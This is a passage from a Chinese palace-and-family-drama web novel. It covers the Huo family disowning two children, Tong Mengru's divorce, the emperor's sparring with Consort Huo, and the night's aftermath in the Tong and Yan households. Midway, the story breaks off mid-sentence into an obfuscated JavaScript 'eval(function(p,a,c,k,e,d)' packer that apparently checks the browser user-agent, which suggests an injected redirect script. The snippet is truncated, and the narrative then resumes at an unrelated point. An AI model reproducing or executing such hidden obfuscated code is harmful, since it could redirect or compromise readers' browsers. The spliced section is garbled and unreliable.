佟老太太不知是心虚还是对女儿们还有疼爱心中难受抑或是累得,扑腾许久后,她终归别过头没再动弹甚至隐隐有蜷缩想躲避的迹象。佟梦如盯着这个娘真觉痛快,下刻又悲凉,她和娘家撕破脸了,她的儿子还那么小,在她的孩子们长大前她要怎么过呀? 霍海啸犹如及时雨般说:“亲戚一场,郡王妃若是不嫌弃,霍家想送五千两聊表慰藉,还望收下。”这话说完会儿,佟梦如才反应过来霍海啸在对她说要送给她银两? 她惊疑地看向霍海啸,霍海啸直击靶心:“郡王妃和离后若是不想回娘家,让你大外甥接你住晏家的别院吧,我和晏霁之相识二十多年,这点自信我有,晏霁之愿意的。” 霍家要把霍振羽兄妹逐出霍家却又关照顺郡王妃,如此鲜明的对照,眼明心亮的看客们不得不感叹霍家真会做人。谷王苦笑,霍振羽自绝于霍家呀。佟梦如心酸地险些飚泪,她懂霍海啸的意思,她还有大外甥,大外甥愿意照拂她,她大外甥比佟家可靠多了。 “好,谢谢,谢谢你,谢谢霍家。”佟梦如抬手捂捂满布泪痕的脸再擦擦眼,哽咽道:“我明晚离开顺郡王府,烦请世子帮我跟我大外甥说,让他明日酉时中来接我。” 霍海啸应好,佟梦如再道声谢,平复下,准备对那个爹泄恨时被蒙侍郎抢先了。 蒙侍郎走出人群走到佟尚书面前站定,挤着憨态对顶头上司打哈哈:“佟尚书,是这么回事,原来的秀女名单上蓁蓁姑娘和妙兮姑娘都在,但蓁蓁姑娘今日归入佟家成佟家人了,一家不能同一届出两名秀女,故而您家这两位姑娘必须筛掉一位。” 好些看客憋笑想这是故意来找事的吧,刚想再移向爹的霍蓁蓁和霍振羽以及他们的娘俱都愣下后下意识看去,又累又烦躁的佟梦奭当没过耳,这要费什么心思?他婆娘佟大太太可没那么乐观,今日闹成这样,霍蓁蓁娘仨还能对佟家毫无芥蒂吗? 混在人群中的佟妙兮和兄长们也在忧虑,佟妙兮之前是随二哥离开了,但下人们禀告说霍漓江宣称霍家和晏家要和佟家断亲,霍漓江还要休妻,他们只得再亲自过来。 秀女名额,若是以前在佟家能轻易哄住霍蓁蓁母女时这根本不算个事,可眼下,他们再草包都不可能没点异样,佟家想哄他们就难了,蒙侍郎这就是想害佟家没安生。佟妙兮这一刻真想恨,蒙侍郎就不嫌他这迫不及待要抢权的嘴脸难看吗? 佟图匡冷冷盯着这下属压制,蒙侍郎装得善解人意:“佟尚书,规矩如此,明日选秀,礼部还得赶着补位秀女,这也不是您是礼部尚书您家就能出两位秀女呀。 蓁蓁姑娘总归是贵妃娘娘的亲妹妹,论身份比妙兮姑娘重,您放心,您若是今夜亥时前都拿不定主意,下官们就按规矩留蓁蓁姑娘,绝不会叫您难以面对小辈们。” 佟图匡被激起点怒意,眼含讥诮鄙薄他软骨头对霍家谄媚,蒙侍郎压住翻白眼的不雅,和颜悦色回击:“佟尚书您知道贵妃娘娘有多恨吧,贵妃恨得要大开杀戒了,穆国公好险才劝住贵妃。霍蓁蓁,对对对,衙门的户籍还没有送来,目前仍给他们冠霍姓没有错。 一个多时辰前霍蓁蓁对兴献侯说:爹,要不你帮我们补这笔银两吧。佟尚书您瞧,他们很清楚是父亲给他们荣华富贵更是父亲在庇护着他们,可这兄妹俩对父亲什么态度?您佟家对女儿和外孙比对奴婢都不如,您看霍振羽和霍蓁蓁有得佟家的真传吗? 对群奴婢,霍蓁蓁和霍振羽一个比一个护得紧,对父亲呢?他们兄妹自出生起享尽富贵受尽娇惯是谁给他们的,是他们的母亲还是佟尚书您的佟家还是这群奴婢啊?” 蒙侍郎真是只是帮穆国公转述都被带出火来,真不知霍家怎么忍下来的,义愤填膺道:“是霍家是兴献侯是他们的父亲!这兄妹两个不知道吗,他们知道啊,他们很清楚,可他们偏偏要踩着父亲,父亲不肯顺他们的意,他们就要爬到父亲头上要践踏父亲! 佟尚书您觉得这是何故呢,贵妃想很久才想明白,就是霍振羽和霍蓁蓁清楚他们享有的一切都父亲给的,但父亲不是对他们百依百顺,这兄妹两个权欲熏心唯利是图,所以这兄妹俩要踩着父亲要爬到父亲头上以保障兴献侯能永远供他们驱使。 贵妃恨啊,霍家二十年荣华富贵养出来两个什么呀,贵妃想不计较这兄妹俩想害死她的账都实在没法宽恕他们。皇后明年辞位,贵妃明言有意中宫之位,霍蓁蓁还死活要争继后位就是想害死亲姐姐吧,这兄妹俩到底长着副什么心肝,佟尚书您以为呢? 什么一时糊涂口不择言他们还小还不懂事,三四岁的小娃都懂得敬爱父亲,霍蓁蓁和霍振羽但凡有孝心能把亲爹当孙子看,父亲还是不要再胡闹了,这是什么鬼话啊?” 佟图匡不由自主地攥拳,老脸满满不屑反嗤,试图用更强的气势再压这下属。 还真是做白日梦做得脑子不正常了,闹成这样,佟家还想在京畿立足吗?蒙侍郎缓和下挤出笑脸步入正题:“哦对对对,这对佟尚书您当然不算个事,佟尚书您嘴巴多巧,一个多月前您长女状告亲儿不孝,佟家宣扬全是那儿子的错。 今日您的长女再状告亲儿不孝,佟家宣扬全是那个儿子的错,母亲没有任何错。兴献侯痛斥霍振羽品性不端,经过佟尚书您的嘴就是兴献侯不慈,诋毁霍振羽。今日种种经佟家宣扬自是:都是霍家和晏家的错,都是霍漓江的错,佟家和霍振羽娘仨没有任何错。 今日来不及了,天黑后没人看当然不行,今日之后让霍蓁蓁,啊不,今日之后他们兄妹姓佟是佟振羽佟蓁蓁了,让佟振羽娘仨去霍家大宅前闹,尽情闹放肆闹,不能逼霍家低头也必须闹到把霍家的名声搞臭,要闹到让天下人都知道是霍漓江不慈是霍家狠。 毕竟佟尚书您最擅长控制舆论了,英王世子如此聪慧,佟家都把他当傻子,天下人在佟家眼里不就全都是傻子嘛,想操纵群傻子对佟家就是抬抬手的事儿,不值一提。 何况许多老百姓都富有同情心恻隐之心,只要佟振羽带着母亲和妹妹在霍家大门前哭哭闹闹跪两跪,多闹几回,老百姓看他们可怜当然会向着他们,佟家再适时添些“知错能改,善莫大焉”这类话,霍家若是不肯低头,这名声想不臭大街都难啊。 所以佟尚书您当然要得意啊,您被绑后对着兴献侯鄙夷太应当了,看看,这不全都握在您手掌心里,霍漓江再翻腾都休想逃出您佟尚书的手掌心。 总之,就两句话,只要沾到您佟家的佟氏女,谁家都别想逃出佟家的手掌心;佟家和亲近佟家的女儿外孙们永远没错,谁不按你们的意志行事就是错。” 佟图匡想嗤之以鼻想强势压制这下属都忍不住再被他挑起火怒瞪他,收霍家多少好处啊这么替霍家鞍前马后?!佟梦奭真嫌烦死了,佟老太太可能真累到了想扑腾都扑腾不起来,在人群中的佟妙兮气得都心口疼,蒙侍郎安得什么心啊要这么诋毁佟家? “贵妃娘娘最恨的是什么,佟尚书知道的吧。”蒙侍郎心里好笑,这就生气受不了了,不看看你自己做的龌龊事多腌臜多恶心人啊,面上讽刺道:“霍家二十多年荣华富贵都养不出霍振羽兄妹对霍家的真心对父亲的孝心,他们被逐出霍家后反倒有孝心了? 正如兴献侯所言,你们是真不嫌恶心人啊,什么知错能改善莫大焉,根本是佟振羽娘仨贪图霍家的荣华富贵抑或是仇恨霍家和兴献侯要报复!贵妃刚还提点下官,娉姨娘他们都还要脸都还有点骨气没往霍家闹过,佟家人是不是要比娉姨娘和霍鸳娇都不如?” 佟图匡犹如看透这下属属霍家狗腿子般懒得再被他影响免得有失自己身份,在人群中的娉姨娘和霍鸳娇猜都不猜就肯定霍蓁蓁娘仨肯定会去霍家闹,这娘仨哪儿能放得掉霍家的好日子,真是没脸没皮一点不要脸了,不禁也站在骨气的高点鄙夷他们。 “但佟尚书您放心,假若贵妃猜错,佟家还要脸还有那么丁点骨气,贵妃会在百官面前亲自给你道歉;倘若贵妃没猜错,佟尚书更可放心,贵妃绝不会让佟家得逞。” 蒙侍郎心中默念穆国公可千万别坑他,面上慷慨激昂:“贵妃说了,你佟尚书夫妇和你们的长女佟梦娴不配为人父母,撇开不配为人父母的父母不算,贵妃最看不起溺爱儿女到任由儿女予取予求被儿女踩过左脸还能巴巴伸上右脸给儿女踩的父母。 故而佟尚书您尽管把你想的那些什么‘当我不清楚霍漓江有多疼爱这双儿女吗,霍漓江绝不会真和振羽计较’这类想法收起来,娉姨娘和霍鸳娇姐弟妄想爬到穆国公的头上,贵妃就让穆国公把他们扔了,这回对妄想害死她的佟振羽兄妹,贵妃更不会手软!” 佟图匡仿佛真有点受刺激般神情乍变,但他还没做出具体的神态应对,场上突然爆出细微而又明显带着嘲笑意味的声响,霍漓江循声看去,打量他:“笑什么?” “啊?”晏琼勋愣下,迎上他们全都瞩目他的视线,连忙解释:“哦,侯爷,我是想到我那个大哥,我那个大哥晏明潜,晏明潜以前在私底下使尽手段要对世子使坏。 偏偏他在暗中耍尽手段还嫌不满足,非要试试明目张胆骑到嫡系头上的滋味,这不,他明着闹了一回,爹就把他和他的两个同母姐妹都给扔了。” “嗯,”霍漓江点点头:“没毛病。” 好多看客心想,嗯,晏明潜想爬到英王世子的头上,英王就把他扔了;娉姨娘和她生的霍鸳娇姐弟想爬到穆国公的头上,穆国公就把这娉姨娘及其生的儿女都给扔了;霍振羽兄妹和他们娘想爬到霍漓江头上,霍漓江就把这娘仨都给扔了,嗯,没毛病。 众多观众觉得是挺好笑地笑了,被当做笑料的娉姨娘真不是滋味,抿着唇斜眼身边这个害她遭大难的女儿,憋着气把手绢扭成麻花。收到生母怨气的霍鸳娇还气闷呢,这不都是你自己作的,没你带头能把我们姐弟教成那样吗?出事了,你好意思怪我们吗? 可对娉姨娘他们若还只是气闷,晏明妧就真嫌苦涩得像整颗心泡在黄连里,她弟弟还在金陵,薛驸马都快把明潜的家底搅没了,晏霁之却在和薛驸马谈笑,多可笑! 人群里皇亲贵胄和重臣们排排围圈圈的中心,皇帝和魏王晋王湘王齐刷刷注视穆国公,尤其是晋王似笑非笑眼神甭提多戏谑,穆国公霍秦川眼观鼻鼻观心当木头人。 “国舅想让蒙侍郎帮你申饬佟家有何不能把你自己摆在台前?”皇帝嬴忱璧责备:“你不仅掩藏自己还把贵妃卷进来全然不顾贵妃的声誉,像话吗?” 霍秦川低眉顺眼:“陛下,贵妃不在意。”然后转向侄女求证:“是吧,娘娘?” “嗯,我不在意。”霍灵渠赞同,嬴忱璧气笑了:“穆国公是在威胁贵妃吗?” 霍秦川深感大受冤枉:“臣不是,臣没有,陛下您可不能红口白牙污蔑老臣啊。” 周围好些人连同太上皇都想怀疑霍秦川抖什么机灵呢?晋王转而戏谑看向皇帝,嬴忱璧训诫道:“朕瞧着穆国公这会儿真有些不成体统,自己去补过,朕暂且就不计较了。” “陛下这是做什么,无缘无故,你冲我大伯发什么脾气呀?”霍灵渠不满地护着伯父,嬴忱璧看向穆国公凝视数息时间不想他真敢明晃晃缩着让侄女给他冲锋。 “贵妃数数穆国公已犯下多少过错,一,未经朕和贵妃的允许,冒用贵妃之名;二,冒用贵妃名义掩藏自己是没担当;三,丝毫不顾贵妃的声誉;四,对朕的命令置若罔闻;五,当着朕的面利用贵妃。”嬴忱璧问:“这位伯父值得贵妃你给他出头吗?” 霍灵渠还算心平气和:“第一,长辈用小辈的名义做点事在霍家很寻常,我祖父闲着没事经常乱用儿孙的名义。第二,我霍灵渠非清白身进宫,我霍家在朝中的风评垫底,谁都知道霍家德行差,陛下若想霍贵妃的名声比肩令愔夫人不是在做白日梦吗? 第三,不是什么大事的时候,长辈躲在小辈身后在霍家也很寻常,长辈坑小辈更寻常。至于陛下你所谓的我大伯利用我?我刚会说话就经历过了,这在霍家就是家常便饭。 第四,我大伯若是用自己的名义,矛头直指霍家,我爹一直忍着没发飙就白费了,你没看见我爹忍到现在都没发狠吗,这世间就是有那么多悲天悯人的好事者喜欢劝人以德报怨,佟梦姿娘仨装得惨兮兮地跑到霍家大门前多哭几回,京畿的舆论风向就得变。 我明言有意在皇后辞位之后再进一步,霍蓁蓁他们还死死盯着想争继后位就是想害我,我跟他们有仇,当然是用我的名义来挡最恰当,我大伯做的再恰如其分不过了。” 霍灵渠总结:“第五,综上所述,你不是没事找事就是看我们姓霍的不顺眼。” 霍秦川和魏王晋王差点喷笑,霍秦川装成正经样向皇帝请罪,边上一圈臣子随同请罪,看霍贵妃和皇帝对呛又不是能白看的,话说,贵妃真不是故意加第五条吗? 正徽帝嬴忱璧木着脸略过,再问穆国公:“在霍家,长辈用小辈的名义,长辈遇小事躲在小辈身后甚至长辈坑小辈都是寻常,这还有点家长的体统吗,这是怎么回事?” “禀陛下,家父觉得这样有利于一家子骨肉情份深厚,您看老臣和贵妃就是天下间情份最好的伯父和侄女了。”霍秦川标榜:“在老臣心里,贵妃就跟老臣的亲闺女似的。” 皇帝给个假笑,霍灵渠真想给皇帝个白眼,跟他讲真话都不信,疑心病没救了。 晏霁之抬手捏捏眉心,他不怀疑穆国公对霍灵渠没坏心,但真的差点以为穆国公是在拿侄女消遣了,他委实是没想到穆国公不好用自己名义的原因,唉…… 湘王迟疑下还是扯扯大舅的衣袖,揪个他发现的错,霍秦川便替可能脸皮薄也可能刚吃过瘪不想再长个教训的外甥表态:“王爷觉得贵妃您第四点表述有误,兴献侯都要把亲儿女逐出霍家了还叫没发狠吗,兴献侯怎么会一直忍着没发飙到现在都没发狠呢?” 霍灵渠有感古怪地看湘王,湘王莫名心虚,再想他没错,傲娇地反逼视这表姐。 “湘王考虑得有理,贵妃怎会觉得兴献侯是在隐忍着?”太上皇问,皇帝亦看向贵妃,霍灵渠收回对湘王打量将疑惑按在心底,淡淡道:“我爹在跟佟尚书讲道理啊,我爹懒得啰嗦算他没发脾气时的态度,他都跟佟家扯那么多长篇大论了当然是在忍着。” “哼…还是嫉妒在作祟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“湘王有个同母的亲妹妹,娘娘知道吧?”穆国公霍秦川突兀地问,霍灵渠应知道呀,霍秦川真正经道:“霍蓁蓁就比太后的八公主大两岁,湘王很疼爱妹妹,八公主早逝,湘王或多或少把对妹妹的疼爱痛惜之情转移给霍蓁蓁了。” 霍灵渠原想失笑大伯想忒多,竟会担心她会计较湘王疼爱霍蓁蓁,这跟她有什么关系;可顾念大伯用心良苦,这是不想她对湘王有隔阂,到底只应了:“我明白。” 落日至,日落时的煊赫盛景未至,人间烟火袅袅,俗世红尘里的热乎也令黄昏苍凉。 大理寺衙门前你方唱罢我登场,佟梦如毫不掩饰她的幸灾乐祸,走到她爹面前,面对着父亲乍见她愣下后随即怒瞪她,更痛快了:“爹,你知道你最大的错是什么吗?” 佟图匡毫不为所动,这女儿在他眼中就是个叛徒,他急需宣泄,小女儿自己撞过来对他就是个宣泄口,仿佛他只要把窝火愤恨全撒在这女儿身上就能让他恢复冷静。 佟梦如蓦然升起种这父亲也不过如此的恍惚,她被自己的念头吓跳后又笑起来,这父亲是不过如此,嫁个女儿就想把比佟家强百倍的豪族当踏脚石,可不就是在做梦。 “爹啊你犯的最大的错是把我们姐弟的名字给取错了,你看看七个儿女全都是梦,那么多梦可不就早早预示着你只会做白日梦注定是场空吗?” 做父亲的没过耳就愤怒瞪视着小女儿要把她压倒,佟梦如忽想到,佟家还有什么手段,那点伎俩被挑破后佟家还有什么手段?这爹以为他是谁啊对谁都想压制压制,她这女儿不再理会,他都没辙,还幻想着他高高在上用怒火就能把人压倒,多可笑啊。 “爹你看,在一个户籍上才是一家人呢,蓁蓁在佟家的户籍上了就是佟家人,一家不能一届出两名秀女,蓁蓁和妙兮就必须争秀女的名额,还不都是因为在同个户籍上嘛。 所以啊,爹您就放心吧,我做佟家人已经做得厌恶透顶,我绝不会把和离后的户籍再归入佟家,我要立女户!从今往后我自己当家,我跟你们就是彻头彻尾的两家人。” 佟图匡不由得愣住连老脸上的怒意都僵滞了,佟梦奭真嫌烦透了,佟老太太和佟梦姿都像受惊吓般看向她,佟梦如只盯着顺郡王,心酸又倔强道:“我要立女户!” “好,好。”十几年夫妻总归还是有些情义,顺郡王到底有些不忍和心疼她,按住情绪向霍家借名护卫即刻赶往京兆府衙转告,佟梦如的户籍别再归进佟家了。 这护卫离开,许多围观的看客们都不禁生出些唏嘘来,霍蓁蓁晃晃脑袋让自己清醒些,再向她爹挪过去还小心翼翼地想避开霍雄鹰。 霍漓江瞥眼霍蓁蓁又看眼天色,没兴趣再留:“霍海啸,酉时二刻了吧,既然京兆府的户籍没那么快送来,不耗了,走吧。” 霍海啸遂请大理寺卿派衙役多监管两刻钟再让佟家的奴婢给这群人松绑,他话说完,霍漓江大步往前带他们霍家人离开。佟梦姿不敢相信他就这么走了,愣了下又猛烈挣扎起来;霍蓁蓁慌得不敢再小心翼翼挪几乎要向她爹滚过去,佟老太太也是要阻拦。 霍振羽猩红眼看着没动作,而想阻拦的几位又怎么可能拦住,霍漓江率众顺畅走掉。 佟梦如紧随其后,没再多看她爹娘一眼,这利落劲儿似乎也预示着她对佟家再无留恋。身为长姐的佟梦娴看着这小妹竟然真就这样走了,气愤之余心里空落落的。 他们走后,谷王父女、顺郡王、顺郡王世子夫妇、晏琼勋还有京兆尹,谁都没多留,没间断地各自离去。有看客仰头见夕阳染红,惊觉这场闹事竟然持续了几乎一天。 隅中时佟家人来衙门要告状到现在酉时三刻,四个时辰了啊,这会儿天都快要黑了。 不消两刻钟,围观的看客们都散了,大理寺衙门前转眼间人影寥寥,佟图匡浑然无畏地昂首盯着大理寺的匾额,僵直的身形在落日余晖里摇摇欲坠好像下刻就会大厦将倾。 皇帝率众恭送太上皇登上车辇离开后让臣子们各自回府,他带霍贵妃坐马车回皇宫。 “臣妾与陛下还是各坐各的车辇吧,我不想跟你坐同一辆马车。”霍灵渠拒绝。 “贵妃会适应的。”皇帝忽略贵妃的意见要带她登车辇,霍灵渠站定不动就跟他耗着,帝妃僵持小半刻钟,皇帝妥协,各自登马车时,贵妃刚走开两步又返回来。 “令愔夫人想把明日的秀女初选交给皇后身边的赖嬷嬷统管,我不赞成,皇后已是清修之人,何必让俗事损及皇后修行,碍于令愔夫人的脸面,我就没有驳掉。陛下若是也赞成,此事就不改了;陛下若是也不想扰皇后清修,回宫后我就换个管事。” “明日再撤换吧,明日,朕要给令愔夫人排场戏,回到宫里,朕与贵妃细说。” 皇帝和霍贵妃各自乘车辇返回皇宫,在车轮的驶进中,落日的晚霞姗姗来迟。 显国公在霍家大宅前堵住霍漓江,有事谈。霍漓江让他们回府,走远些再问啥事? “谷王父女的本意是想请圣人干预让你留下霍振羽兄妹,被贵妃挡住才变成要和离,乐邑和湘王由此猜贵妃不肯留霍振羽兄妹是嫉妒他们怕父亲疼爱弟弟妹妹超过她。 贵妃笑佟尚书不懂《三字经》,我才意识到你痛斥霍振羽的大漏洞,养不教,父之过,你对霍振羽的管教呢?”显国公肯定质疑:“唯一的嫡子,难道你都不在意吗?” 霍漓江邪笑起来,在这天边明烈暗红交织的光影下尤像个祸乱人间的妖孽,他眼轻佻,如此薄凉又如此夺目惊艳:“你看我霍漓江像是在意没儿子送终吗?” 显国公错愕,一时竟辨不出他的真假:“那你在意什么?我很肯定,你不在意权势,你从没想过和霍秦川争霍家家主,你也不贪恋女色,你更不贪财。倘若你连没儿子都不在意,那你还在意什么,你总不能无欲无求吧?你霍漓江也不像啊。” “我爹一年要骂我几百遍糟心烂肺的玩意儿,贵妃三岁时就知道了:爹爹冷心冷肺,你比我女儿三岁时都不如吗?”霍漓江真嫌他搞笑了:“你跑这儿跟我装什么好人?” 显国公愣下笑起来:“呵,我还真是糊涂了,但,你真连没儿子都不在意吗?” “你还有事吗?”霍漓江反问。 “你比我狠。”显国公毫不犹豫:“我自觉我比你和霍秦川狠,其实,是你们哥俩要比我狠辣得多,霍秦川拿他那个娉姨娘当玩意儿不寄望这娉姨娘生养就真能连这娉姨娘生的儿女都不管,但凡霍秦川肯管管,霍鸳娇三姐弟绝不会是现在的德行。 你更狠,你能只顾你自己痛快,我做不到,我都做不到放任儿女不管更遑论没儿子。但霍振羽和霍蓁蓁在今年二月以前没受过委屈是真的吧,你不是放任他们不管吗?” “霍海啸比霍振羽大十二岁,霍舒窈比霍蓁蓁大十三岁,霍灵渠常年不在家,同辈里能压着他们的都没搭理过他们,他们能受什么委屈?”霍漓江怀疑他脑子有这么钝吗? “是懒得理会?!”显国公真不知该笑还是觉得闷堵,没受过委屈让人想当然以为是受尽疼爱娇惯,其实还有一种是懒得搭理,懒得搭理,他们当然会没受过委屈。 “可你有必要留着佟氏吗,你还年年给婆娘大把的补贴,没错吧?” “一年给八千两,你管这叫大把补贴吗?佟老头对女儿都当打发要饭的,我不当打发要饭的当什么,难道你打发个要饭的都打发不起吗?不留着她,谁来照料霍振羽兄妹,总不能我亲自来费心思吧;若是再娶个继室,时不时闹点妖蛾,我不嫌麻烦啊。” 散漫的腔调戛然止住,霍漓江倏然铁青脸暴怒:“但就算我没对他们兄妹费过心思,我也金尊玉贵地养着他们供他们享尽富贵娇惯,结果呢,我得到了什么? 我就得到个他们要把我当孙子使、要把霍家当踏脚石!这俩玩意儿比霍鸳娇姐弟都不如啊,霍鸳娇姐弟打小没少受憋屈,可这俩玩意儿在今年二月以前享尽娇惯、要什么有什么、是真没受过点委屈啊,结果我就得到这么个回报,换你你消受得起这种儿女?” 显国公默然,霍漓江拂袖而走,烧红的夕阳在天际沉没。 106. 第106章 是夜月圆,夜在漆黑的深渊里探索,皎洁的圆月徙过佟家照亮满地狼藉破碎。 两名小厮提着灯笼在前引路,一台软轿在花灯与石灯笼的环绕中稳稳当当来到庭院里,佟梦奭走出软轿,走到父亲的书房前,小厮禀告过后给他推开门,他再进屋。 婴儿手臂粗的蜡烛将书桌这片照耀得甚亮,佟图匡盯着摆在桌案上的户籍像是连精气神都被吸进去了,佟梦奭瞧见他爹还在看京兆府衙送来的新户籍就烦,这都看多久了,这一天闹腾得他疲累不堪,偏回到府里还没个消停不能歇息,这爹就不嫌累吗? “爹您别当回事儿,明日就让大姐用晏家迫使霍家把二妹娘仨接回霍家去。” 佟梦奭拉过书桌前的靠背椅坐,虽然很累,本着人子的孝心还是又劝劝老父。 “嗯,梦娴走了?”佟图匡缓缓抬头,老脸沉静。佟梦奭应道:“走了,我亲自送大姐出门的,您就放心吧,给大姐新配的这三十个奴婢都很机灵,绝不会再被晏家压制。” “梦姿和蓁蓁还在闹你娘?”佟图匡再问,佟梦奭嫌晦气:“还在闹,闹个没完了,特别是蓁蓁,怎么跟她说都说不听,妙兮好心劝劝,她险些把妙兮的脸给抓伤了。” “用安神香吧,还有从晏家和霍家回来的这些奴婢,他们这些年过得舒服惯了,佟家可没有这种舒服日子给他们享,你派人盯紧些,别闹出什么乱子来。” “爹您就放心吧。”佟梦奭担保:“咱家规矩向来就严,下人绝闹不出事来。” “嗯,振羽呢?”佟图匡还真想不起这人在哪儿了,佟梦奭愣下也被卡住了:“呃,咱回府后就闹得乱哄哄地没消停过,天又黑了,好像还真没见着他去哪里了。” “没见着就没见着吧,安置好梦姿和蓁蓁之后,你和你媳妇去库房备份厚礼出来连夜送去建威侯府,事关妙兮的前途,必要把礼备足了。”佟图匡再交代,佟梦奭不以为然:“爹,咱家何至于——”对上老父严厉的眼神,他只得忍住反对,应下就告退。 “慢着!”佟图匡忍住对这嫡长子不中用的厌烦尽量好声和气:“再备份礼给滁州府尹,过两日你就亲自回趟滁州,告诉他,朝中有御史参奏他的事让他不必放在心上。记住,必须稳住牛府尹,倘若他保不住了,绝不能让他咬着佟家。” “爹,这点小事派个管事回趟老家足够了,哪用得着我亲自去?”佟梦奭不肯。 “若京中有变,老家那些族人还能甘心被我们捏着吗?”佟图匡闭闭眼靠在太师椅里叮嘱:“你回到老家后切记见机行事,若是到下个月都没收到霍家接梦姿娘仨回霍家的消息,你就着手准备把生意收回来,不用族人们再代我们出面打理了。” “爹您也太多虑了——”佟梦奭真觉得老父杞人忧天,佟图匡霍然睁开眼,严厉到凶狠地瞪着他训:“什么叫多虑,你今日的教训还没长够吗?若非你欠考虑能闹出这些事来吗,今日的变故不用几日就会传回老家,像会飞一样飞回滁州,管事能顶得住吗? 老家那些族人的心思少吗?京中若是不能尽快稳住,你还没动手,他们就已抢在你前面把这大片生意给吞掉了,倘若生意被他们夺走,我们还能拿得回来吗?” 佟梦奭憋着不忿问父亲还有交代吗?佟图匡闭眼说退下吧,佟梦奭当即夺门而走。 蜡烛的火芯被门剧烈甩开而带起的阵风吹得晃了会儿,佟图匡若无所觉,又过片刻,他睁开眼凝望这空空荡荡的书房,环视圈后视线重新落回桌案的户籍上,京兆府送来的户籍,佟梦姿重归佟家、霍振羽和霍蓁蓁改姓佟变为佟振羽佟蓁蓁归入佟家的户籍。 不知又看过多久思量过多久后,佟图匡手臂撑着桌沿站起来,把这户籍收好,强忍着疲累走去廊下,交代恭候着的长随给他向礼部告三日的假,他再往后院走去。 乱云遮圆月,夜空星光独好。佟图匡在静谧的夜里独自提灯走过熠熠星光铺满的路来到后院老妻的寝屋内,老妻正靠在床头喝补汤,他接过汤碗,让下人们退下。 “不行!”刚平复些的心绪因丈夫的出现又起怒火,佟老太太越想越恨:“明早我就带梦姿去霍家,霍漓江吃雄心豹子胆了竟敢休梦姿?!”至于两个外孙被逐出霍家还被改姓佟,老太太直接无视了;若非实在没法把霍漓江休妻当不存在,她都想不当回事。 “我是来跟你说件事,我决定了,我死后佟家交给梦骜,梦奭就做个富贵闲人。” 佟老太太像是被施定身术般突然定住,慢好几拍才咂摸过味儿来:“你说什么?” “梦奭不堪大用,佟家交给他只会被败掉,我必须为家族着想。”佟图匡制住她的啰嗦:“我只是来告诉你、我的决定,不是来跟你商量的,你不用再跟我多说什么了。” “你、你……”佟老太太被刺激得呼吸急促差点连话都说不完整,深喘口气,捡着最重要的阻拦:“妙兮要做娘娘的呀,妙兮做娘娘,亲爹反倒变成旁支还像什么样? 何况梦骜是叔叔,他能像梦奭一样对妙兮尽心吗?不可能的,你犯什么糊涂呀,要是把佟家交给梦骜,非但家里要出大乱还会影响妙兮在宫里的前程,决计行不通的。” “是圣人亲自把梦奭罢官,你以为这意味着什么,陛下可能会去打圣人的脸吗?妙兮能入主中宫都不用妄想她爹还能被复起,一个平头百姓又能给妙兮添什么助力? 我一直没给你把梦奭的前程点透是梦奭的心太热了,我怕你知道后不经意间流露出来会伤他的心也伤你们的母子情,但今日出这么大变故是谁造成的?” 佟图匡怒起又强压住,抬手拍拍老妻的肩膀,语重心长道:“我们不能再纵容梦奭了,妙兮在兄弟能立起来前只能倚仗叔叔。都是为佟家好,梦骜懂得,绝不会因为是侄女就不尽心;若是将来我走在你前头,你顾好家里,不要让他们亲兄弟闹出兄弟阋墙。” 老太太绷着脸死死不做声,佟图匡把汤碗放下:“你歇着吧,今日,我们都太累了。” 丈夫走出屋,佟老太太还硬绷着,奴婢进屋来想给她喂补汤想服侍她安置了,她才再也绷不住地扑在心腹怀里痛哭:“佟图匡,佟图匡他这老糊涂他疯魔了,他竟然想在他死后把佟家交给梦骜,梦奭才是嫡长子啊,他这是非要逼着他们亲兄弟翻脸啊……” 被老夫人猛扑向她痛哭而吓跳的嬷嬷眼神微闪,连忙宽慰安抚老夫人。 屋外星辉闪烁,夜幕下的粲然繁星原来也似一颗颗被照亮后的泪花。 夜的深刻滑过亥时,正当街头人影渐少夜市灯火将熄,英王妃佟梦娴带着从佟家新得的三十名奴婢浩浩荡荡杀回英王府,高涨的气焰在府门前被挡住,她这群奴婢不得进晏家。 这一日下来,她早不知积了多少怒火,这一拦,佟梦娴的火气拔高到冲顶。 禀告送进英王的书房时已变成:王妃从佟家带来的奴婢仗着人多拿下门房硬闯进王府,护卫们把连同王妃在内的31人阻在照壁前,护卫们不敢对王妃动粗,相持不下。 英王的书房中,晏霁之没兴趣听晏家过往的老生常谈,缺席了。晏煦之,晏副相带儿孙们和晏朗之及其父亲晏堪都在。晏堪现年四十七岁,在族中是位有份量的人物,拱卫京畿的三大营,穆国公统辖一营,郢国公统辖一营,还有一营就是晏堪在统辖。 最年轻的晏和之嫌恶地翻白眼,英王晏墉淡淡道:“煦儿,把佟家来的那些奴婢绑了,你亲自去还给佟家;交代你媳妇,今后府里对佟氏称太太,不再称王妃。 给佟氏拨十名奴婢,让她从今往后在院里诵经念佛,厨房每餐送三样素食足以,任何油腻荤腥和补品都不必给她沾,份例更无需再备,每月就给她送两身素净衣裳吧。” 晏煦之接过指令,告退往外走,刚出院门遇见他媳妇,遂就把事情转达给她。 桓炜彤把跟随的婢女遣远些,压低声音问:“大伯真要让她病逝?” “肯定会活过今年的。”晏煦之好笑:“她是聋还是瞎,她小妹的例活生生摆在她眼前,今夜居然还能来晏家闹这么一出?!晏家是没给她迷途知返改过自新的机会吗? 晏家给了二十多年了,霍贵妃说的好啊,这种人不配做母亲,但凡她还有一丝一毫疼爱自己亲生的骨肉,她对孩儿至少该有愧疚而不是现在府门外照壁前那个德行。” “大伯和堂哥放纵佟家把事情闹大也存着她能悔悟的期盼?”桓炜彤后知后觉联想到,她真是要被佟家折腾服了竟然能令她生出懊恼:“我真是看不懂佟家了。 且不说今夜还想着来拿捏晏家,还没想过今日去大理寺衙门告状要承担的晏家的报复,就说又给佟氏送批奴婢来,佟氏上一批陪嫁奴婢被杖打几十大板不就在他们眼前么,佟家再送奴婢来有什么用,难道他们连点常识都不懂么,否则何至于呀?” “不是他们不懂常识,是佟家人做梦做得真以为有皇太子外孙了。” 晏煦之带着媳妇来到照壁前,传令护卫把这群奴婢绑起来,请太太回院里。 